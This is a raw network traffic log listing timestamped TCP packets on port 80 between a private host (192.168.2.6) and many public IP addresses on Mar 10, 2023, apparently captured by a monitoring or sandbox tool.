Mar 10, 2023 07:54:18.347803116 CET	49737	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:18.361377954 CET	80	49738	34.117.168.233	192.168.2.6
Mar 10, 2023 07:54:18.364865065 CET	80	49738	34.117.168.233	192.168.2.6
Mar 10, 2023 07:54:18.364958048 CET	49738	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:18.502407074 CET	80	49737	3.140.13.188	192.168.2.6
Mar 10, 2023 07:54:18.502446890 CET	80	49737	3.140.13.188	192.168.2.6
Mar 10, 2023 07:54:18.502566099 CET	49737	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:18.506079912 CET	49739	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:18.506079912 CET	49740	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:18.506661892 CET	49737	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:18.536595106 CET	80	49739	82.201.61.230	192.168.2.6
Mar 10, 2023 07:54:18.536916018 CET	49739	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:18.543989897 CET	80	49740	135.181.73.98	192.168.2.6
Mar 10, 2023 07:54:18.544171095 CET	49740	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:18.600480080 CET	49739	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:18.600547075 CET	49740	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:18.607451916 CET	49741	80	192.168.2.6	192.252.154.18
Mar 10, 2023 07:54:18.616621017 CET	49742	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:18.630935907 CET	80	49739	82.201.61.230	192.168.2.6
Mar 10, 2023 07:54:18.631875992 CET	80	49739	82.201.61.230	192.168.2.6
Mar 10, 2023 07:54:18.631994009 CET	49739	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:18.638411999 CET	80	49740	135.181.73.98	192.168.2.6
Mar 10, 2023 07:54:18.638674021 CET	80	49740	135.181.73.98	192.168.2.6
Mar 10, 2023 07:54:18.638773918 CET	49740	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:18.661453962 CET	80	49737	3.140.13.188	192.168.2.6
Mar 10, 2023 07:54:18.705782890 CET	80	49741	192.252.154.18	192.168.2.6
Mar 10, 2023 07:54:18.706037045 CET	49741	80	192.168.2.6	192.252.154.18
Mar 10, 2023 07:54:18.764059067 CET	49743	80	192.168.2.6	192.124.249.10
Mar 10, 2023 07:54:18.764528990 CET	49741	80	192.168.2.6	192.252.154.18
Mar 10, 2023 07:54:18.783979893 CET	80	49743	192.124.249.10	192.168.2.6
Mar 10, 2023 07:54:18.784117937 CET	49743	80	192.168.2.6	192.124.249.10
Mar 10, 2023 07:54:18.863318920 CET	80	49741	192.252.154.18	192.168.2.6
Mar 10, 2023 07:54:18.865233898 CET	80	49741	192.252.154.18	192.168.2.6
Mar 10, 2023 07:54:18.865422964 CET	49741	80	192.168.2.6	192.252.154.18
Mar 10, 2023 07:54:18.874320030 CET	49740	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:18.900196075 CET	80	49742	202.254.236.40	192.168.2.6
Mar 10, 2023 07:54:18.900559902 CET	49742	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:18.912599087 CET	80	49740	135.181.73.98	192.168.2.6
Mar 10, 2023 07:54:18.912827969 CET	49740	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:18.967808962 CET	49739	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:18.977467060 CET	49743	80	192.168.2.6	192.124.249.10
Mar 10, 2023 07:54:18.996788025 CET	80	49743	192.124.249.10	192.168.2.6
Mar 10, 2023 07:54:18.997132063 CET	80	49743	192.124.249.10	192.168.2.6
Mar 10, 2023 07:54:18.997278929 CET	49743	80	192.168.2.6	192.124.249.10
Mar 10, 2023 07:54:18.999155045 CET	80	49739	82.201.61.230	192.168.2.6
Mar 10, 2023 07:54:18.999278069 CET	49739	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:19.020139933 CET	49742	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:19.057245016 CET	49744	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:19.193077087 CET	49743	80	192.168.2.6	192.124.249.10
Mar 10, 2023 07:54:19.212728977 CET	80	49743	192.124.249.10	192.168.2.6
Mar 10, 2023 07:54:19.212872982 CET	49743	80	192.168.2.6	192.124.249.10
Mar 10, 2023 07:54:19.304043055 CET	80	49742	202.254.236.40	192.168.2.6
Mar 10, 2023 07:54:19.305011988 CET	80	49742	202.254.236.40	192.168.2.6
Mar 10, 2023 07:54:19.305135012 CET	49742	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:19.351571083 CET	80	49744	60.43.154.138	192.168.2.6
Mar 10, 2023 07:54:19.351829052 CET	49744	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:19.367182970 CET	49745	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:19.367841959 CET	49746	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:19.376885891 CET	49744	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:19.383922100 CET	80	49745	188.114.97.3	192.168.2.6
Mar 10, 2023 07:54:19.384041071 CET	49745	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:19.387811899 CET	49742	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:19.393870115 CET	49745	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:19.398473024 CET	80	49746	185.80.51.179	192.168.2.6
Mar 10, 2023 07:54:19.398653030 CET	49746	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:19.410530090 CET	80	49745	188.114.97.3	192.168.2.6
Mar 10, 2023 07:54:19.420104980 CET	80	49745	188.114.97.3	192.168.2.6
Mar 10, 2023 07:54:19.420254946 CET	49745	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:19.423546076 CET	49746	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:19.454354048 CET	80	49746	185.80.51.179	192.168.2.6
Mar 10, 2023 07:54:19.454843998 CET	80	49746	185.80.51.179	192.168.2.6
Mar 10, 2023 07:54:19.456181049 CET	49746	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:19.558244944 CET	49746	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:19.589293957 CET	80	49746	185.80.51.179	192.168.2.6
Mar 10, 2023 07:54:19.589535952 CET	49746	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:19.612045050 CET	49747	80	192.168.2.6	193.166.255.171
Mar 10, 2023 07:54:19.612891912 CET	49748	80	192.168.2.6	172.67.173.200
Mar 10, 2023 07:54:19.613010883 CET	49749	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:19.629574060 CET	80	49748	172.67.173.200	192.168.2.6
Mar 10, 2023 07:54:19.629744053 CET	49748	80	192.168.2.6	172.67.173.200
Mar 10, 2023 07:54:19.649734020 CET	80	49749	81.2.194.241	192.168.2.6
Mar 10, 2023 07:54:19.649965048 CET	49749	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:19.657942057 CET	80	49747	193.166.255.171	192.168.2.6
Mar 10, 2023 07:54:19.658065081 CET	49747	80	192.168.2.6	193.166.255.171
Mar 10, 2023 07:54:19.670995951 CET	80	49744	60.43.154.138	192.168.2.6
Mar 10, 2023 07:54:19.671933889 CET	80	49744	60.43.154.138	192.168.2.6
Mar 10, 2023 07:54:19.672207117 CET	49744	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:19.672631979 CET	80	49742	202.254.236.40	192.168.2.6
Mar 10, 2023 07:54:19.672888041 CET	49742	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:19.727037907 CET	49748	80	192.168.2.6	172.67.173.200
Mar 10, 2023 07:54:19.743679047 CET	80	49748	172.67.173.200	192.168.2.6
Mar 10, 2023 07:54:19.753587961 CET	80	49748	172.67.173.200	192.168.2.6
Mar 10, 2023 07:54:19.753691912 CET	49748	80	192.168.2.6	172.67.173.200
Mar 10, 2023 07:54:19.778125048 CET	49749	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:19.812988997 CET	49747	80	192.168.2.6	193.166.255.171
Mar 10, 2023 07:54:19.814934969 CET	80	49749	81.2.194.241	192.168.2.6
Mar 10, 2023 07:54:19.832006931 CET	80	49749	81.2.194.241	192.168.2.6
Mar 10, 2023 07:54:19.832222939 CET	49749	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:19.858879089 CET	80	49747	193.166.255.171	192.168.2.6
Mar 10, 2023 07:54:19.858918905 CET	80	49747	193.166.255.171	192.168.2.6
Mar 10, 2023 07:54:19.987788916 CET	49744	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:20.000415087 CET	80	49739	82.201.61.230	192.168.2.6
Mar 10, 2023 07:54:20.000564098 CET	49739	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:20.124633074 CET	49750	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:20.280322075 CET	80	49750	3.18.7.81	192.168.2.6
Mar 10, 2023 07:54:20.281033993 CET	49750	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:20.283435106 CET	80	49744	60.43.154.138	192.168.2.6
Mar 10, 2023 07:54:20.283597946 CET	49744	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:20.289756060 CET	49749	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:20.321481943 CET	49751	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:20.321666956 CET	49752	80	192.168.2.6	188.165.133.163
Mar 10, 2023 07:54:20.336889029 CET	80	49749	81.2.194.241	192.168.2.6
Mar 10, 2023 07:54:20.337059975 CET	49749	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:20.337980032 CET	49750	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:20.338329077 CET	80	49751	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:20.338479042 CET	49751	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:20.341351986 CET	80	49752	188.165.133.163	192.168.2.6
Mar 10, 2023 07:54:20.341480017 CET	49752	80	192.168.2.6	188.165.133.163
Mar 10, 2023 07:54:20.446894884 CET	49752	80	192.168.2.6	188.165.133.163
Mar 10, 2023 07:54:20.466861963 CET	80	49752	188.165.133.163	192.168.2.6
Mar 10, 2023 07:54:20.466903925 CET	80	49752	188.165.133.163	192.168.2.6
Mar 10, 2023 07:54:20.467107058 CET	49752	80	192.168.2.6	188.165.133.163
Mar 10, 2023 07:54:20.484101057 CET	49751	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:20.492630959 CET	80	49750	3.18.7.81	192.168.2.6
Mar 10, 2023 07:54:20.492666006 CET	80	49750	3.18.7.81	192.168.2.6
Mar 10, 2023 07:54:20.492748976 CET	49750	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:20.492872953 CET	49750	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:20.500952005 CET	80	49751	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:20.554207087 CET	49750	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:20.579385996 CET	49752	80	192.168.2.6	188.165.133.163
Mar 10, 2023 07:54:20.586256981 CET	80	49716	80.93.82.33	192.168.2.6
Mar 10, 2023 07:54:20.586425066 CET	49716	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:20.599343061 CET	80	49752	188.165.133.163	192.168.2.6
Mar 10, 2023 07:54:20.599433899 CET	49752	80	192.168.2.6	188.165.133.163
Mar 10, 2023 07:54:20.680670977 CET	80	49715	70.39.251.249	192.168.2.6
Mar 10, 2023 07:54:20.680816889 CET	49715	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:20.708709955 CET	80	49750	3.18.7.81	192.168.2.6
Mar 10, 2023 07:54:20.713171959 CET	80	49751	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:20.713198900 CET	80	49751	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:20.713284969 CET	49751	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:20.713330030 CET	49751	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:20.802432060 CET	49753	80	192.168.2.6	46.242.238.60
Mar 10, 2023 07:54:20.802742004 CET	49754	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:20.805485010 CET	49755	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:54:20.806535006 CET	49756	80	192.168.2.6	66.94.119.160
Mar 10, 2023 07:54:20.835042000 CET	80	49753	46.242.238.60	192.168.2.6
Mar 10, 2023 07:54:20.835205078 CET	49753	80	192.168.2.6	46.242.238.60
Mar 10, 2023 07:54:20.863255024 CET	49753	80	192.168.2.6	46.242.238.60
Mar 10, 2023 07:54:20.863277912 CET	49751	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:20.880151033 CET	80	49751	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:20.895818949 CET	80	49753	46.242.238.60	192.168.2.6
Mar 10, 2023 07:54:20.896692038 CET	49757	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:20.896904945 CET	80	49753	46.242.238.60	192.168.2.6
Mar 10, 2023 07:54:20.896994114 CET	49753	80	192.168.2.6	46.242.238.60
Mar 10, 2023 07:54:20.913243055 CET	80	49740	135.181.73.98	192.168.2.6
Mar 10, 2023 07:54:20.913320065 CET	49740	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:20.936703920 CET	80	49756	66.94.119.160	192.168.2.6
Mar 10, 2023 07:54:20.936814070 CET	49756	80	192.168.2.6	66.94.119.160
Mar 10, 2023 07:54:20.939930916 CET	80	49720	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:20.940032005 CET	49720	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:20.957864046 CET	80	49754	3.18.7.81	192.168.2.6
Mar 10, 2023 07:54:20.958178997 CET	49754	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:20.970585108 CET	80	49755	69.163.239.62	192.168.2.6
Mar 10, 2023 07:54:20.970835924 CET	49755	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:54:20.985460997 CET	80	49751	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:20.985507965 CET	80	49751	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:20.985563993 CET	49751	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:20.985609055 CET	49751	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:21.013765097 CET	80	49757	96.127.180.42	192.168.2.6
Mar 10, 2023 07:54:21.013964891 CET	49757	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:21.110858917 CET	49757	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:21.110903978 CET	49754	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:21.110949993 CET	49755	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:54:21.219168901 CET	49756	80	192.168.2.6	66.94.119.160
Mar 10, 2023 07:54:21.228436947 CET	80	49757	96.127.180.42	192.168.2.6
Mar 10, 2023 07:54:21.229981899 CET	80	49757	96.127.180.42	192.168.2.6
Mar 10, 2023 07:54:21.230134964 CET	49757	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:21.265623093 CET	80	49754	3.18.7.81	192.168.2.6
Mar 10, 2023 07:54:21.265677929 CET	80	49754	3.18.7.81	192.168.2.6
Mar 10, 2023 07:54:21.265832901 CET	49754	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:21.276364088 CET	80	49755	69.163.239.62	192.168.2.6
Mar 10, 2023 07:54:21.276537895 CET	80	49755	69.163.239.62	192.168.2.6
Mar 10, 2023 07:54:21.276694059 CET	49755	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:54:21.296818018 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:21.302634001 CET	49759	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:21.313956022 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:21.314156055 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:21.327415943 CET	49754	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:21.338020086 CET	80	49749	81.2.194.241	192.168.2.6
Mar 10, 2023 07:54:21.338100910 CET	49749	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:21.349697113 CET	80	49756	66.94.119.160	192.168.2.6
Mar 10, 2023 07:54:21.350318909 CET	80	49756	66.94.119.160	192.168.2.6
Mar 10, 2023 07:54:21.350481987 CET	49756	80	192.168.2.6	66.94.119.160
Mar 10, 2023 07:54:21.368808985 CET	49757	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:21.414793015 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:21.415870905 CET	49755	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:54:21.416124105 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:21.427978039 CET	80	49759	108.167.164.216	192.168.2.6
Mar 10, 2023 07:54:21.428119898 CET	49759	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:21.431420088 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:21.442404032 CET	49759	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:21.470545053 CET	49756	80	192.168.2.6	66.94.119.160
Mar 10, 2023 07:54:21.481931925 CET	80	49754	3.18.7.81	192.168.2.6
Mar 10, 2023 07:54:21.487665892 CET	80	49757	96.127.180.42	192.168.2.6
Mar 10, 2023 07:54:21.487847090 CET	49757	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:21.567585945 CET	80	49759	108.167.164.216	192.168.2.6
Mar 10, 2023 07:54:21.573494911 CET	80	49759	108.167.164.216	192.168.2.6
Mar 10, 2023 07:54:21.573674917 CET	49759	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:21.579514980 CET	80	49726	62.122.190.121	192.168.2.6
Mar 10, 2023 07:54:21.579735994 CET	49726	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:21.580904007 CET	80	49755	69.163.239.62	192.168.2.6
Mar 10, 2023 07:54:21.581168890 CET	80	49755	69.163.239.62	192.168.2.6
Mar 10, 2023 07:54:21.581461906 CET	49755	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:54:21.601880074 CET	80	49756	66.94.119.160	192.168.2.6
Mar 10, 2023 07:54:21.602061987 CET	49756	80	192.168.2.6	66.94.119.160
Mar 10, 2023 07:54:21.784759998 CET	49759	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:21.807610989 CET	49761	80	192.168.2.6	172.67.165.62
Mar 10, 2023 07:54:21.824384928 CET	80	49761	172.67.165.62	192.168.2.6
Mar 10, 2023 07:54:21.824589014 CET	49761	80	192.168.2.6	172.67.165.62
Mar 10, 2023 07:54:21.828027010 CET	49761	80	192.168.2.6	172.67.165.62
Mar 10, 2023 07:54:21.844733000 CET	80	49761	172.67.165.62	192.168.2.6
Mar 10, 2023 07:54:21.882175922 CET	49762	80	192.168.2.6	217.19.237.54
Mar 10, 2023 07:54:21.898941040 CET	80	49761	172.67.165.62	192.168.2.6
Mar 10, 2023 07:54:21.898993969 CET	80	49761	172.67.165.62	192.168.2.6
Mar 10, 2023 07:54:21.899019003 CET	80	49761	172.67.165.62	192.168.2.6
Mar 10, 2023 07:54:21.899101019 CET	49761	80	192.168.2.6	172.67.165.62
Mar 10, 2023 07:54:21.899101019 CET	49761	80	192.168.2.6	172.67.165.62
Mar 10, 2023 07:54:21.906630039 CET	80	49762	217.19.237.54	192.168.2.6
Mar 10, 2023 07:54:21.906799078 CET	49762	80	192.168.2.6	217.19.237.54
Mar 10, 2023 07:54:21.918911934 CET	80	49759	108.167.164.216	192.168.2.6
Mar 10, 2023 07:54:21.919142962 CET	49759	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:21.972712040 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:21.972767115 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:21.972800016 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:21.972811937 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:21.972826958 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:21.972856045 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:21.972857952 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:21.972867012 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:21.972886086 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:21.972918034 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:21.972918987 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:21.972918034 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:21.972945929 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:21.972949028 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:21.972978115 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:21.972979069 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:21.973009109 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:21.973011971 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:21.973037958 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:21.973064899 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:21.973071098 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:21.973071098 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:21.973094940 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:21.973119020 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:21.987030029 CET	49762	80	192.168.2.6	217.19.237.54
Mar 10, 2023 07:54:22.011579990 CET	80	49762	217.19.237.54	192.168.2.6
Mar 10, 2023 07:54:22.012322903 CET	80	49762	217.19.237.54	192.168.2.6
Mar 10, 2023 07:54:22.012473106 CET	49762	80	192.168.2.6	217.19.237.54
Mar 10, 2023 07:54:22.084640980 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.084686041 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.084714890 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.084757090 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.084858894 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.084927082 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.084961891 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.084980011 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.085011959 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.085032940 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.085041046 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.085072994 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.085093975 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.085552931 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.085637093 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.085685015 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.085719109 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.085736036 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.085748911 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.085764885 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.085794926 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.086348057 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.086453915 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.086479902 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.086513996 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.086544991 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.086555004 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.086621046 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.087141991 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.087227106 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.087235928 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.087265015 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.087285042 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.087291956 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.087311029 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.087337017 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.087933064 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.088016033 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.088021040 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.088049889 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.088073015 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.088098049 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.133389950 CET	49763	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:22.137346983 CET	49764	80	192.168.2.6	72.44.93.236
Mar 10, 2023 07:54:22.191946030 CET	49765	80	192.168.2.6	122.128.109.107
Mar 10, 2023 07:54:22.196204901 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.196269035 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.196427107 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.196470022 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.196849108 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.196892023 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.196922064 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.196923018 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.196948051 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.196954012 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.196968079 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.197000027 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.197218895 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.197257996 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.197272062 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.197287083 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.197313070 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.197318077 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.197367907 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.198024035 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.198060036 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.198082924 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.198102951 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.198132992 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.198414087 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.198451996 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.198472977 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.198496103 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.198524952 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.198848009 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.198947906 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.198971987 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.199002028 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.199023962 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.199029922 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.199053049 CET	49758	80	192.168.2.6	172.67.201.26
